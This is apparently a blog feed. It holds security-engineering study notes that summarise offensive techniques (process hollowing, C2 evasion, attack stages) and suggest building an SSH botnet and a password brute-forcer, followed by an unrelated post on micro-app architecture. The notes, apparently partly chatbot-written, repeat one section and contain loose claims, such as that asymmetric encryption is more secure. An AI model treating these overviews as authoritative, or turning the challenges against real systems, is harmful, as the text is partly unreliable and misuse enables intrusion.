<li><p><strong>Encoding:</strong> This is the process of converting data from one format to another format. Encoding does not provide any security or protection and can often be reversed easily.</p>
</li>
<li><p><strong>Hashing:</strong> This is the process of converting any input (plaintext or ciphertext) into a fixed-length string of characters, called a hash. Hashing is a one-way process, meaning that it is difficult (ideally impossible) to derive the original input from the hash. Hashing is often used to store passwords securely.</p>
</li>
<li><p><strong>Obfuscation:</strong> This is the process of making data or codes more difficult to understand or read. Obfuscation does not provide any security or protection and can often be reversed with enough effort.</p>
</li>
<li><p><strong>Signing:</strong> This is the process of attaching a digital signature to a message or document to prove the authenticity and integrity of the message or document. A digital signature is generated using a private key and can only be verified using the corresponding public key. Signing is often used to ensure the integrity and authenticity of digital documents.</p>
</li>
</ul>
<p>Various attack models, such as the <strong>chosen-plaintext attack</strong>, refer to different methods that an attacker can use to try to compromise the security of a cryptographic system. For example, a chosen-plaintext attack involves an attacker being able to choose the plaintext input to an encryption algorithm and observing the resulting ciphertext output. This can be used to try to derive the secret key or other sensitive information.</p>
<p>As for encryption standards and implementations, some commonly used ones include:</p>
<ul>
<li><p><strong>RSA (asymmetric encryption)</strong></p>
</li>
<li><p><strong>AES (symmetric encryption)</strong></p>
</li>
<li><p><strong>ECC (elliptic curve cryptography, including ed25519)</strong></p>
</li>
<li><p><strong>Chacha/Salsa (symmetric encryption)</strong></p>
</li>
</ul>
<p><strong>Asymmetric encryption,</strong> such as RSA and ECC, involves using a public key and a private key to encrypt and decrypt data. Asymmetric encryption is slower than symmetric encryption, but it is more secure and is often used to establish a trusted connection or transfer a shared secret key.</p>
<p><strong>Symmetric encryption</strong>, such as AES and Chacha/Salsa, uses a single shared secret key to encrypt and decrypt data. Symmetric encryption is faster than asymmetric encryption, but it requires the secure sharing of the secret key. Many cryptographic protocols use a combination of both asymmetric and symmetric encryption, such as using asymmetric encryption to establish a secure connection and then using symmetric encryption for the actual data transfer.</p>
<p><strong>Perfect forward secrecy (PFS)</strong> is a property of some cryptographic protocols that ensures that even if an attacker can compromise the secret key used for symmetric encryption, they cannot use that key to decrypt past communications. This is achieved by using a different symmetric key for each communication session. PFS is used in some secure messaging applications, such as Signal.</p>
<p><strong>Cryptography, Authentication,</strong> and Identity are all important concepts in computer security. Let me provide a brief overview of the concepts you mentioned.</p>
<p><strong>Cryptography:</strong></p>
<p><strong>Encryption vs Encoding vs Hashing vs Obfuscation vs Signing:</strong> Encryption, encoding, hashing, obfuscation, and signing are all different techniques used in cryptography to achieve different security goals. Encryption is the process of converting plain text into cipher text using a key, making it unreadable by unauthorized parties. Encoding, on the other hand, is the process of converting data into a particular format that is usable by systems, but it doesn't provide any security. Hashing is the process of transforming data into a fixed-length string that is unique to the input data. Obfuscation is the process of making code or data difficult to understand or read. Signing is the process of attaching a digital signature to a message, which can verify the authenticity of the message and the sender.</p>
<p><strong>Asymmetric vs symmetric:</strong> Asymmetric encryption is slow but good for establishing a trusted connection, while symmetric encryption is faster and uses a shared key. Many protocols use asymmetric encryption to transfer a symmetric key, which is then used for the actual data encryption. Perfect forward secrecy is a concept where even if the symmetric key is compromised, it cannot be used to decrypt previously encrypted data.</p>
<p><strong>Ciphers:</strong></p>
<p>Block vs stream ciphers: Block ciphers encrypt data in fixed-size blocks, while stream ciphers encrypt data one bit or byte at a time.</p>
<p><strong>Block cipher modes of operation:</strong> Block ciphers can be used in various modes of operation to achieve different security goals, such as confidentiality, integrity, and authenticity. Some popular modes of operation include ECB, CBC, OFB, and CTR.</p>
<p><strong>AES-GCM: AES-GCM</strong> is a block cipher mode of operation that combines the AES block cipher with the Galois/Counter Mode (GCM) of operation for authenticated encryption with associated data (AEAD).</p>
<p><strong>Integrity and authenticity primitives:</strong></p>
<p>Hashing functions, MACs, and HMACs are all primitives used for data integrity and authenticity.</p>
<p><strong>Hashing functions:</strong> Hashing functions are used to create a fixed-length "fingerprint" of data. Common hashing functions include MD5, SHA-1, and BLAKE.</p>
<p><strong>MACs and HMACs:</strong> MACs (Message Authentication Codes) and HMACs (Keyed-hash Message Authentication Codes) are used to verify the integrity and authenticity of data. They use a shared secret key to create a "tag" that is attached to the data, which can be verified by the receiver.</p>
<p><strong>Entropy:</strong></p>
<p>PRNGs, entropy buffer draining, and methods of filling entropy buffers are all concepts related to generating random data in a computer system.</p>
<p><strong>PRNGs:</strong> PRNGs (Pseudo Random Number Generators) are used to generate random data in computer systems. They are deterministic algorithms that use a seed value to generate random-looking data.</p>
<p><strong>Entropy buffer draining:</strong> Entropy buffer draining is the process of using up the random data available in the system's entropy pool. This can cause problems with cryptographic operations that require random data.</p>
<p><strong>Methods of filling entropy buffer:</strong> There are several methods for filling the entropy buffer, including mouse movements, keyboard timings, network timings, and hardware events.</p>
<p><strong>Authentication:</strong></p>
<p>Certificates, TPMs, O-Auth, Auth Cookies, Sessions, SAMLv2, OpenID, Kerberos, Biometrics, Password Management, U2F/FIDO, and multi-factor auth methods are all different concepts related to authentication.</p>
<h1 id="heading-malware-amp-reversing">Malware &amp; Reversing:</h1>
<p><strong>Malware</strong> is a type of software that is designed to harm or exploit computer systems, often for financial gain. Malware can come in many forms, such as viruses, worms, Trojans, spyware, ransomware, and more. Here are some key topics related to malware:</p>
<h2 id="heading-interesting-malware"><strong>Interesting malware:</strong></h2>
<ul>
<li><p><strong>Conficker:</strong> A worm that spread rapidly in 2008 and infected millions of computers around the world, exploiting a vulnerability in Windows operating systems.</p>
</li>
<li><p><strong>Morris worm:</strong> One of the first worms to gain widespread attention, created by a graduate student in 1988 to demonstrate the potential risks of networked computers.</p>
</li>
<li><p><strong>Zeus malware</strong>: A Trojan horse that targets online banking systems, stealing login credentials and financial information from infected machines.</p>
</li>
<li><p><strong>Stuxnet:</strong> A highly sophisticated worm that targeted industrial control systems, believed to be created by a nation-state to damage Iranian nuclear facilities.</p>
</li>
<li><p><strong>Wannacry:</strong> A ransomware attack that spread globally in 2017, using a vulnerability in Windows operating systems to encrypt data on infected machines.</p>
</li>
<li><p><strong>CookieMiner:</strong> A malware that targets macOS systems to steal sensitive information from cryptocurrency exchanges and users.</p>
</li>
<li><p><strong>Sunburst</strong>: A supply chain attack that affected many organizations, including U.S. government agencies, by compromising the SolarWinds software.</p>
</li>
</ul>
<h2 id="heading-malware-features"><strong>Malware features:</strong></h2>
<ul>
<li><p><strong>Remote code execution:</strong> Techniques for getting malicious code to run on a target system.</p>
</li>
<li><p><strong>Domain-flux and Fast-Flux:</strong> Techniques for changing the IP addresses of C2 servers to evade detection and takedowns.</p>
</li>
<li><p><strong>Covert C2 channels:</strong> Techniques for hiding the communication between malware and C2 servers, such as using legitimate network protocols or hiding data in images.</p>
</li>
<li><p><strong>Evasion techniques:</strong> Techniques for avoiding detection and analysis by security software or researchers, such as checking for the presence of sandboxes or VMs.</p>
</li>
<li><p><strong>Process hollowing:</strong> A technique for creating a new process in a suspended state and then replacing its memory with malicious code, to evade detection by antivirus software.</p>
</li>
<li><p><strong>Mutexes:</strong> A technique for preventing multiple instances of malware from running on the same system.</p>
</li>
<li><p><strong>Multi-vector and polymorphic attacks:</strong> Techniques for using multiple attack vectors and changing the appearance of the malware to evade detection and analysis.</p>
</li>
<li><p><strong>RAT (remote access trojan) features Capabilities</strong> for remote control of infected machines, such as keylogging, screen capture, and file transfer.</p>
</li>
</ul>
<h2 id="heading-decompilingreversing">Decompiling/reversing:</h2>
<ul>
<li><p><strong>Obfuscation of code and unique strings:</strong> Techniques for hiding the true purpose and behavior of malware, such as using random variable names or encrypting strings.</p>
</li>
<li><p>I<strong>daPro, Ghidra:</strong> Reverse engineering tools for analyzing malware code and behavior.</p>
</li>
</ul>
<p>Static and dynamic analysis are two approaches used to analyze software or code for security vulnerabilities and potential threats.</p>
<p><strong>Static analysis</strong> involves examining the code without executing it, to identify security flaws or other issues that may be present. This is done by examining the source code, byte code, or machine code of the program. This approach can be automated and is often used to scan large codebases for common vulnerabilities, such as buffer overflows or SQL injection.</p>
<p><strong>Dynamic analysis</strong>, on the other hand, involves running the software in a controlled environment to observe its behavior and identify any issues that may arise during runtime. This approach involves executing the code and observing its interactions with the operating system, network, and other resources. This approach can be useful for detecting issues that may not be apparent during static analysis, such as runtime errors, memory leaks, or other issues related to program execution.</p>
<p><strong>VirusTotal</strong>, <a target="_blank" href="http://Reverse.it"><strong>Reverse.it</strong></a><strong>,</strong> and <strong>Hybrid Analysis</strong> are all online services that provide both static and dynamic analysis of software and code. These services allow users to submit files or URLs for analysis and provide reports on any potential security threats or issues that may be present. They also use machine learning and other advanced techniques to identify potential threats and vulnerabilities in code.</p>
<h1 id="heading-exploits">Exploits:</h1>
<p>Social engineering attacks aim to trick people into performing certain actions that can harm the security of the system or the data stored within it. Common social engineering attacks include phishing, spear phishing, baiting, and tailgating.</p>
<p>Physical attacks target the physical security of the system or data and often involve gaining physical access to the system or device. Such attacks can be mitigated by using disk encryption, trusted platform modules, and other security mechanisms.</p>
<p>Network attacks involve finding vulnerabilities in networked systems and exploiting them to gain unauthorized access. Attackers use tools like Nmap, Metasploit, and Shodan to scan networks, search for vulnerabilities, and launch attacks.</p>
<p>Exploit kits and drive-by download attacks are typically used to distribute malware to unsuspecting victims through infected websites or emails.</p>
<p>Remote control attacks involve taking control of a remote system, typically through a vulnerability or exploit. These attacks can lead to remote code execution and privilege escalation.</p>
<p>Spoofing attacks involve impersonating a legitimate entity to gain unauthorized access or launch attacks. Spoofing can be done for email, IP addresses, MAC addresses, and biometric data.</p>
<p>Tools like Metasploit, ExploitDB, Shodan, and Hak5 are used by security researchers and attackers alike to find and exploit vulnerabilities. It's important to note that using such tools for unauthorized purposes is illegal and can lead to severe legal consequences.</p>
<h1 id="heading-attack-structure">Attack Structure:</h1>
<ol>
<li><p><strong>Reconnaissance:</strong> The attacker gathers information about the target, often through open-source intelligence (OSINT) methods like Google Dorking or using tools like Shodan to identify vulnerable systems.</p>
</li>
<li><p><strong>Resource development:</strong> The attacker builds the infrastructure and tools needed for the attack, which may include creating malware or obtaining access to compromised systems.</p>
</li>
<li><p><strong>Initial access:</strong> The attacker gains access to the target network or system, often through methods like phishing or exploiting public-facing applications.</p>
</li>
<li><p><strong>Execution:</strong> The attacker runs code on the compromised system, often through shells or interpreters like PowerShell or Python.</p>
</li>
<li><p><strong>Persistence:</strong> The attacker establishes a foothold in the compromised system by creating backdoors and modifying startup scripts.</p>
</li>
<li><p><strong>Privilege escalation:</strong> The attacker elevates their access privileges on the compromised system, often through methods like a token or key theft.</p>
</li>
<li><p><strong>Defense evasion:</strong> The attacker attempts to evade detection and defensive measures, such as disabling logging or reverting virtual machines.</p>
</li>
<li><p><strong>Credential access:</strong> The attacker gains access to login credentials, often through methods like brute-forcing or keylogging.</p>
</li>
<li><p><strong>Discovery:</strong> The attacker explores the target system and network, looking for other vulnerable systems or sensitive information.</p>
</li>
<li><p><strong>Lateral movement:</strong> The attacker moves laterally through the network, compromising additional systems and accounts.</p>
</li>
<li><p><strong>Collection:</strong> The attacker steals valuable information or data, often through methods like capturing audio or video, database dumps, or intercepting network traffic.</p>
</li>
<li><p><strong>Exfiltration</strong>: The attacker removes stolen data from the target network, often through covert channels like DNS exfiltration or cloud backup services.</p>
</li>
<li><p><strong>Command and control:</strong> The attacker maintains communication with the compromised systems, often through encrypted channels or removable media.</p>
</li>
<li><p><strong>Impact:</strong> The attacker achieves their objectives, which may include data theft, data destruction, or disruption of services.</p>
</li>
</ol>
<h1 id="heading-threat-modeling">Threat Modeling:</h1>
<p><strong>The Threat Matrix</strong> is a tool used to map out and visualize the different types of threats facing an organization. It is often used as part of a risk assessment process to identify and prioritize the most critical risks. The matrix typically includes different threat categories along one axis (such as natural disasters, human error, cyber attacks, etc.) and the potential impacts along the other axis (such as financial losses, reputational damage, legal/regulatory penalties, etc.).</p>
<p><strong>Trust boundaries</strong> refer to the points in a system where different levels of trust exist, and where security controls are typically implemented to protect the system. For example, a trust boundary might exist between an organization's internal network and the public Internet, or between different parts of an application that handle sensitive data and those that do not.</p>
<p><strong>Security controls</strong> are measures put in place to protect systems, data, and other assets from threats. These can include technical controls such as firewalls, intrusion detection systems, and encryption, as well as administrative controls such as policies, procedures, and employee training.</p>
<p><strong>The STRIDE framework</strong> is a tool for identifying and categorizing potential threats to software systems. The six threat categories in the framework are Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege.</p>
<p><strong>The MITRE ATT&amp;CK framework</strong> is a knowledge base of adversary tactics and techniques based on real-world observations of cyber attacks. It is organized into different categories of tactics, such as initial access, execution, persistence, and exfiltration, and includes specific techniques associated with each tactic.</p>
<p><strong>Lilly Ryan's "Defense Against the Dark Arts"</strong> talk is a presentation on information security that uses examples from the Harry Potter series to explain concepts such as threat modeling, incident response, and risk management. It is a creative and engaging way to introduce people to these important security concepts.</p>
<h1 id="heading-detection">Detection:</h1>
<ol>
<li><p><strong>IDS:</strong> An Intrusion Detection System is a security system that detects unauthorized access to a network or computer system. It can be signature-based or behavior-based and uses rules to identify potential security threats.</p>
</li>
<li><p><strong>SIEM:</strong> Security Information and Event Management is a technology that provides real-time analysis of security alerts generated by network hardware and applications. It collects and correlates data from multiple sources, allowing for the detection of complex security incidents.</p>
</li>
<li><p><strong>IOC:</strong> Indicator of Compromise is a piece of forensic data that suggests that a system has been hacked or compromised. It may include information such as IP addresses, file names, or other artifacts.</p>
</li>
<li><p><strong>Honeypots:</strong> A honeypot is a decoy system set up to attract and detect hackers. It can be a server or a network of servers designed to mimic a legitimate system, gather information about attacks and analyze them.</p>
</li>
<li><p><strong>Firewall rules:</strong> Firewall rules are used to block or allow traffic based on specific criteria. For example, they can be set up to detect brute-force attacks or port scanning.</p>
</li>
<li><p><strong>Anomaly / Behavior-based detection:</strong> This is a technique used to detect security threats by monitoring network traffic for patterns that are not typical. It involves developing a baseline of normal network behavior and then identifying deviations from this baseline.</p>
</li>
<li><p><strong>Tools for detection:</strong> There are various tools used in threat detection such as Splunk, ArcSight, Qradar, Darktrace, Tcpdump, Wireshark, and Zeek.</p>
</li>
<li><p><strong>Things to know about attackers:</strong> Attackers can use various techniques to evade detection, such as spoofing packets or creating a lot of noise. It can be challenging to correlate IP addresses with physical locations.</p>
</li>
<li><p><strong>Logs to look at:</strong> Several types of logs can be useful for detecting security threats, including DNS queries, HTTP headers, traffic volume, traffic patterns, and execution logs.</p>
</li>
<li><p><strong>A curated list of awesome threat detection resources:</strong> This is a list of various resources related to threat detection, such as blogs, tools, and frameworks.</p>
</li>
</ol>
<h1 id="heading-digital-forensics">Digital Forensics:</h1>
<p>Digital forensics is the process of collecting, preserving, analyzing, and presenting electronic data in a way that is admissible in a court of law. It is often used to investigate computer-related crimes or to recover data that has been lost or delete</p>
<ul>
<li><p><strong>Evidence volatility:</strong> different types of evidence (network, memory, disk) have different levels of volatility, which affects how they are collected and analyzed.</p>
</li>
<li><p><strong>Network forensics:</strong> analyzing network traffic, including DNS logs, NetFlow, and sampling rates.</p>
</li>
<li><p><strong>Disk forensics:</strong> analyzing data stored on disk, including disk imaging, filesystems, logs, and data recovery.</p>
</li>
<li><p><strong>Memory forensics:</strong> analyzing data stored in memory, including memory acquisition, memory structures, and tools like Volatility and WinDbg.</p>
</li>
<li><p><strong>Mobile forensics:</strong> analyzing data stored on mobile devices, including differences between mobile and computer forensics, and specific considerations for Android vs. iPhone.</p>
</li>
<li><p><strong>Anti-forensics:</strong> techniques used by malware to try to hide, such as timestamping.</p>
</li>
<li><p><strong>Chain of custody:</strong> documentation and procedures used to maintain the integrity of the evidence, including handover notes.</p>
</li>
</ul>
<p>These concepts and tools are used by digital forensics investigators to collect and analyze electronic evidence in a way that is accurate, reliable, and legally admissible.</p>
<h1 id="heading-incident-management">Incident Management:</h1>
<p>Incident management is the process of responding to and resolving information security or privacy incidents when they occur. It involves a coordinated effort to detect, investigate, contain, and recover from the incident while minimizing damage to the organization.</p>
<p>Some key concepts and best practices in incident management include:</p>
<ul>
<li><p>Understanding the difference between privacy incidents (breaches of personal information) and information security incidents (breaches of company systems or data).</p>
</li>
<li><p>Knowing when to involve legal, users, managers, and directors in the incident response process.</p>
</li>
<li><p>Running through different scenarios to understand how an incident might unfold, from start to finish.</p>
</li>
<li><p>Delegating roles and responsibilities and establishing clear lines of communication between team members.</p>
</li>
<li><p>Identifying the type of alert triggering the incident and understanding how to find the root cause of the issue.</p>
</li>
<li><p>Understanding the stages of an attack (such as the cyber-kill chain) and the difference between symptoms and causes.</p>
</li>
<li><p>Building a timeline of events to identify the scope and impact of the incident.</p>
</li>
<li><p>Assuming good intent and working collaboratively with people to resolve the issue.</p>
</li>
<li><p>Developing response models such as SANS' PICERL (Preparation, Identification, Containment, Eradication, Recovery, Lessons learned) or Google's IMAG (Incident Management At Google) to guide the response effort.</p>
</li>
</ul>
<p>Overall, incident management is an essential part of any organization's information security and privacy program. It involves a coordinated effort to detect, respond to, and recover from incidents while minimizing damage to the organization and protecting its assets.</p>
<h1 id="heading-incident-management-1">Incident Management:</h1>
<p><strong>Incident management</strong> is the process of responding to and resolving information security or privacy incidents when they occur. It involves a coordinated effort to detect, investigate, contain, and recover from the incident while minimizing damage to the organization.</p>
<h3 id="heading-some-key-concepts-and-best-practices-in-incident-management-include">Some key concepts and best practices in incident management include:</h3>
<ul>
<li><p>Understanding the difference between privacy incidents (breaches of personal information) and information security incidents (breaches of company systems or data).</p>
</li>
<li><p>Knowing when to involve legal, users, managers, and directors in the incident response process.</p>
</li>
<li><p>Running through different scenarios to understand how an incident might unfold, from start to finish.</p>
</li>
<li><p>Delegating roles and responsibilities and establishing clear lines of communication between team members.</p>
</li>
<li><p>Identifying the type of alert triggering the incident and understanding how to find the root cause of the issue.</p>
</li>
<li><p>Understanding the stages of an attack (such as the cyber-kill chain) and the difference between symptoms and causes.</p>
</li>
<li><p>Building a timeline of events to identify the scope and impact of the incident.</p>
</li>
<li><p>Assuming good intent and working collaboratively with people to resolve the issue.</p>
</li>
<li><p>Developing response models such as SANS' PICERL (Preparation, Identification, Containment, Eradication, Recovery, Lessons learned) or Google's IMAG (Incident Management At Google) to guide the response effort.</p>
</li>
</ul>
<p>Overall, incident management is an essential part of any organization's information security and privacy program. It involves a coordinated effort to detect, respond to, and recover from incidents while minimizing damage to the organization and protecting its assets.</p>
<h1 id="heading-coding-amp-algorithms">Coding &amp; Algorithms:</h1>
<ul>
<li><p><strong>The basics:</strong> This covers fundamental concepts such as conditions, loops, dictionaries, lists, arrays, string and array operations, and pseudo code.</p>
</li>
<li><p><strong>Data structures:</strong> This section delves into more complex data structures such as dictionaries/hash tables, arrays, stacks, SQL/tables, and Big tables.</p>
</li>
<li><p><strong>Sorting:</strong> Quicksort and merge sort are common algorithms used to sort data.</p>
</li>
<li><p><strong>Searching:</strong> This section covers binary and linear search algorithms.</p>
</li>
<li><p><strong>Big O:</strong> This refers to the time and space complexity of algorithms.</p>
</li>
<li><p><strong>Regular expressions:</strong> A powerful tool for pattern matching in strings.</p>
</li>
<li><p><strong>Recursion:</strong> A technique where a function calls itself to solve a problem.</p>
</li>
<li><p><strong>Python:</strong> A popular programming language with features such as list comprehensions, generators, slicing, regular expressions, and dynamic types. The section also compares Python to other programming languages and emphasizes the importance of understanding common functions.</p>
</li>
</ul>
<h1 id="heading-security-themed-coding-challenges">Security Themed Coding Challenges:</h1>
<p>These security-themed coding challenges provide a great opportunity for developers to practice their skills in text parsing and manipulation, basic data structures, and simple logic flows while also learning about various aspects of security engineering.</p>
<p>One of the challenges involves implementing a cipher that converts text to emoji or some other format, which can help developers understand how encryption works and how to implement basic ciphers. Another challenge involves parsing arbitrary logs to extract specific details such as domains, executable names, and timestamps, which can help developers understand how to handle and manipulate large amounts of data.</p>
<ul>
<li><p>Web scraping is another challenge where developers need to write a script to extract information from a website. This can be useful for gathering data for research or analysis purposes. Port scanning is also a common task in security engineering, and writing a port scanner or detecting port scanning can help developers understand how networks and ports work.</p>
</li>
<li><p>The challenge of building an ssh botnet can help developers understand how botnets work and how to build and deploy one. Password brute-forcing is another challenge where developers need to generate credentials and store successful logins, which can help them learn about password security and common password vulnerabilities.</p>
<p>  Another challenge is to write a mini forensics tool to collect identifying information from PDF metadata, which can help developers understand how to extract and analyze metadata from various types of files. Recovering deleted items is another challenge where developers need to find out where deleted items are stored and write a script to pull them from local databases.</p>
</li>
<li><p>Finally, the challenge of creating a program that looks for malware signatures in binaries and code samples can help developers understand how to detect and analyze malware and look at Yara rules for examples.</p>
</li>
</ul>
<p><strong>Developers are encouraged to put their work-in-progress scripts on GitHub and link them to their resume/CV, even if they are not perfect or complete, as this can demonstrate their skills and interest in security engineering.</strong></p>
<hr />
<blockquote>
<p>It was my pleasure assisting you. I hope this was helpful and provided you with the information you were looking for. Don't hesitate to reach out to me if you need further assistance in the future. Have a great day!</p>
<details><summary>@WarrenMu (github)</summary><div data-type="detailsContent"></div></details></blockquote>
]]></content:encoded></item><item><title><![CDATA[Micro-App Architecture: A design approach to enterprise application software development]]></title><description><![CDATA[Introduction
Application software is a kind of software designed for users to achieve a certain task. This is in contrast with utility or system software designed to maintain or operate the machine on which application software is running. Examples o...]]></description><link>https://blog.oscakampala.org/micro-app-architecture-a-design-approach-to-enterprise-application-software-development</link><guid isPermaLink="true">https://blog.oscakampala.org/micro-app-architecture-a-design-approach-to-enterprise-application-software-development</guid><category><![CDATA[architecture]]></category><category><![CDATA[app development]]></category><dc:creator><![CDATA[TobiasHT]]></dc:creator><pubDate>Sat, 18 Feb 2023 18:36:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1676725636067/7efd8c5e-bf92-43df-9057-93685032d701.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Application software is a kind of software designed for users to achieve a certain task. This is in contrast with utility or system software designed to maintain or operate the machine on which application software is running. Examples of application software could include multimedia players, social media apps, banking apps and so much more. Application software can run on different device shapes, sizes or form factors; and to capture a wider market, an application developer should consider building applications for these form factors. Traditionally we've been having mobile and desktop as the major platforms that applications can run on, but recently, we're starting to see more smatch devices such as smart watches, smart TVs, smart speakers, VR headsets and a variety of other form factors.</p>
<h3 id="heading-problem-statement">Problem statement</h3>
<p>As we've introduced above, application software is software designed for the user to achieve a certain task. For example, word document applications are designed for users to work on documents and publications whereas browsers are designed to enable users to navigate the world wide web. Traditionally, applications designed for a certain platform or form factor will tend to tightly couple with that platform. For example, a developer building an application for android, iOS or windows platforms will tend to build a system so tightly coupled that it would be difficult to run that application on a different platform without significant rewriting of the code and internal infrastructure. Cases of such designs have been prevalent in the enterprise world that companies have hired huge departments to maintain code for their applications running on multiple platforms. Examples of such companies include Facebook which is currently working on evolving both its android and iOS applications.</p>
<p>The tightly coupled infrastructure hinders code reuse and incurs more effort to maintain thus becoming expensive to manage. Applications of such magnitude tend to be complex for new hires to work on and deploy which also exerts a heavy toll on maintenance and adding of new features</p>
<h3 id="heading-micro-app-architecture">Micro-App architecture</h3>
<p>Given the challenges that come with a tightly coupled application system. A new enterprise application software development pattern has arisen. Technically, the Micro-App architecture does not introduce any new concepts. It takes existing concepts already implemented in the <strong>micro-services</strong> and <strong>micro-kernel</strong> world and brings them to application software development.</p>
<h4 id="heading-advantages">Advantages</h4>
<p>Micro-App architecture encourages code reuse on different application platforms. This reduces maintenance costs as you only have a single team maintaining code running on all major platforms.</p>
<p>It also reduces the complexity of the code as it breaks down the huge chunks of monolithic codebases into small bite-sized independent and manageable projects that can be deployed independently.</p>
<p>With faster deployment, businesses can now easily roll out new features for their services to customers faster and more efficiently.</p>
<p>Takes away the need to maintain platform-specific code which is fairly stable and shifts focus to the highly volatile business logic.</p>
<p>It encourages modularity and extensibility of the application. This gives an interface for other developers to extend your main application with desired functionality very easily.</p>
<h3 id="heading-architectural-overview">Architectural overview</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1676741713581/909ffab1-70fe-4ddf-9403-91f7f09f019c.jpeg" alt class="image--center mx-auto" /></p>
<p>Micro-App architectures can be implemented in various forms. However, one major feature that categorizes this pattern is the separation of <strong>platform-specific</strong> code from the <strong>business-logic</strong> code. The point of separation is what causes variation in different patterns.</p>
<h4 id="heading-server-driven-ui-sdui">Server-driven UI (SDUI)</h4>
<p>Server-driven UI is a Micro-App design pattern where the user interface of the application is generated by an online server. This kind of approach has been implemented by various companies including Spotify, Airbnb and the first versions of the Facebook app. The Interface is usually run as a webpage in a webview embedded in a native application. This, therefore, separates the native maintenance of the stable platform code from the volatile business logic thus allowing businesses to push changes fast. Spotify is leveraging this pattern to push new features to clients as fast as possible to keep up with market trends.</p>
<h4 id="heading-use-of-frameworks">Use of Frameworks</h4>
<p>Mobile application frameworks allow us to build the logic and interface of our applications in platform-agnostic code that can easily be deployed on all supported platforms with ease. However, to leverage more platform-specific features, frameworks should be able to provide access to the underlying platform on which the application is running. This allows the developer to configure different functionality depending on the platform.</p>
<h4 id="heading-use-of-a-domain-specific-language-dsl">Use of a Domain-Specific Language (DSL)</h4>
<p>The other way to implement a Micro-App architecture is to build the native application as a <strong>Base Application</strong>, which could be also known as a <strong>Platform Application</strong> or <strong>Foundation Application</strong> written in the language of the host system (such as Kotlin/Java for Android and Swift/Objective-C for iOS). This native application could then host a runtime for a domain-specific application of your choice in which you implement the business logic. The DSL could be a language such as Lua, Python, Javascript or any other language you choose. The Platform application then exposes a set of API functions to the DSL runtime that enables the Business logic to interact with the underlying system. The business logic written in the DSL language can then be easily moved to other platforms that implement the runtime.</p>
<h4 id="heading-use-of-abstractions">Use of Abstractions</h4>
<p>If the language used to implement the business logic is the same as the language used by the underlying system, for example, if you're building an android app with both business logic and native platform code written in Java, you can abstract away access to the native platform. For example, instead of the business logic directly accessing a specific part of the UI such as a button, it can be abstracted away via an API provided by the Platform Application which will create the button for the Business Logic layer.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>In conclusion, Micro-App architectures have the power to help you as a business competing in a fast-moving market to stay ahead of your game. It helps you reduce the number of times a client has to go to the app store to update their app just because you pushed a new change to the business logic or User Interface. It also reduces the size of your application greatly and dials down its complexity, so it's worthwhile to look into it. For a little more reading, you can find links to articles down below that I referenced in my submission.</p>
<h3 id="heading-further-reading">Further reading</h3>
<p><a target="_blank" href="https://engineering.fb.com/2022/10/24/android/android-java-kotlin-migration/">https://engineering.fb.com/2022/10/24/android/android-java-kotlin-migration/</a></p>
<p><a target="_blank" href="https://engineering.fb.com/2023/02/06/ios/facebook-ios-app-architecture/">https://engineering.fb.com/2023/02/06/ios/facebook-ios-app-architecture/</a></p>
<p><a target="_blank" href="https://www.robosoftin.com/blog/world-of-micro-apps">https://www.robosoftin.com/blog/world-of-micro-apps</a></p>
<p><a target="_blank" href="https://shopify.engineering/server-driven-ui-in-shop-app">https://shopify.engineering/server-driven-ui-in-shop-app</a></p>
]]></content:encoded></item><item><title><![CDATA[Security engineering  basing on gracenolan notes. part 3]]></title><description><![CDATA[Welcome. Today we are going to continue with gracenolan notes. Please do some further deep-diving in web application pen-testing as there are many technical details to understand and practical workouts. Am writing according to the notes. Try out labs...]]></description><link>https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-3</link><guid isPermaLink="true">https://blog.oscakampala.org/security-engineering-basing-on-gracenolan-notes-part-3</guid><category><![CDATA[hacking]]></category><category><![CDATA[hack]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Mon, 30 Jan 2023 09:02:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1675069247941/94d002a5-8ccd-403d-b5b7-d1bbe97a9f47.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<ul>
<li>Welcome. Today we are going to continue with gracenolan notes. Please do some further deep-diving in web application pen-testing as there are many technical details to understand and practical workouts. Am writing according to the notes. Try out labs and have fun.</li>
</ul>
<h3 id="heading-web-applications">Web Applications:</h3>
<ul>
<li><p><strong>Same origin policy:</strong> This policy is a cornerstone of web security and is implemented in web browsers to prevent malicious attacks such as Cross-Site Scripting (XSS). It states that a web page loaded from one origin (e.g. <a target="_blank" href="http://example.com">example.com</a>) cannot access resources (e.g. images, scripts, cookies) from another origin (e.g. <a target="_blank" href="http://evil.com">evil.com</a>). This is to prevent sensitive information from being leaked to unauthorized domains.</p>
</li>
<li><p><strong>CORS:</strong> CORS stands for Cross-Origin Resource Sharing and is a mechanism that allows a web page from one origin to make requests to another origin. This is useful for scenarios where a web page wants to access data from another domain, for example, to fetch data from a third-party API. CORS works by sending an HTTP request to the target domain with specific headers, asking the server to grant permission to access its resources. If the server allows access, it will include the necessary headers in the response to indicate that the browser can proceed with the request.</p>
</li>
<li><p><strong>HSTS:</strong> HSTS stands for HTTP Strict Transport Security and is a security policy that forces web browsers to only use encrypted HTTPS connections with a website that supports it. This helps to prevent eavesdropping, tampering, and man-in-the-middle attacks, as all data transmitted between the browser and the server is encrypted. HSTS is specified by the website in the form of a header sent in the HTTP response, indicating to the browser that it should only use HTTPS for all future requests to that domain.</p>
</li>
<li><p><strong>Cert transparency:</strong> Cert Transparency is a system that provides public transparency of SSL/TLS certificates issued by certificate authorities. It works by logging all SSL/TLS certificates issued by certificate authorities in publicly accessible logs, allowing anyone to verify the validity of the certificate. This helps to prevent certificate authority mis-issuance, which could result in fraudulent websites being granted valid SSL/TLS certificates. By checking the logs, users can verify that the certificate was indeed issued by a trusted certificate authority and has not been revoked or tampered with.</p>
</li>
<li><p><strong>HPKP:</strong> HTTP Public Key Pinning was a security feature that allowed a web server to specify a set of trusted public keys in an HTTP header. The browser would then only accept SSL/TLS certificates signed by one of these trusted keys. However, this feature has been deprecated by Google Chrome due to several security and privacy concerns.</p>
</li>
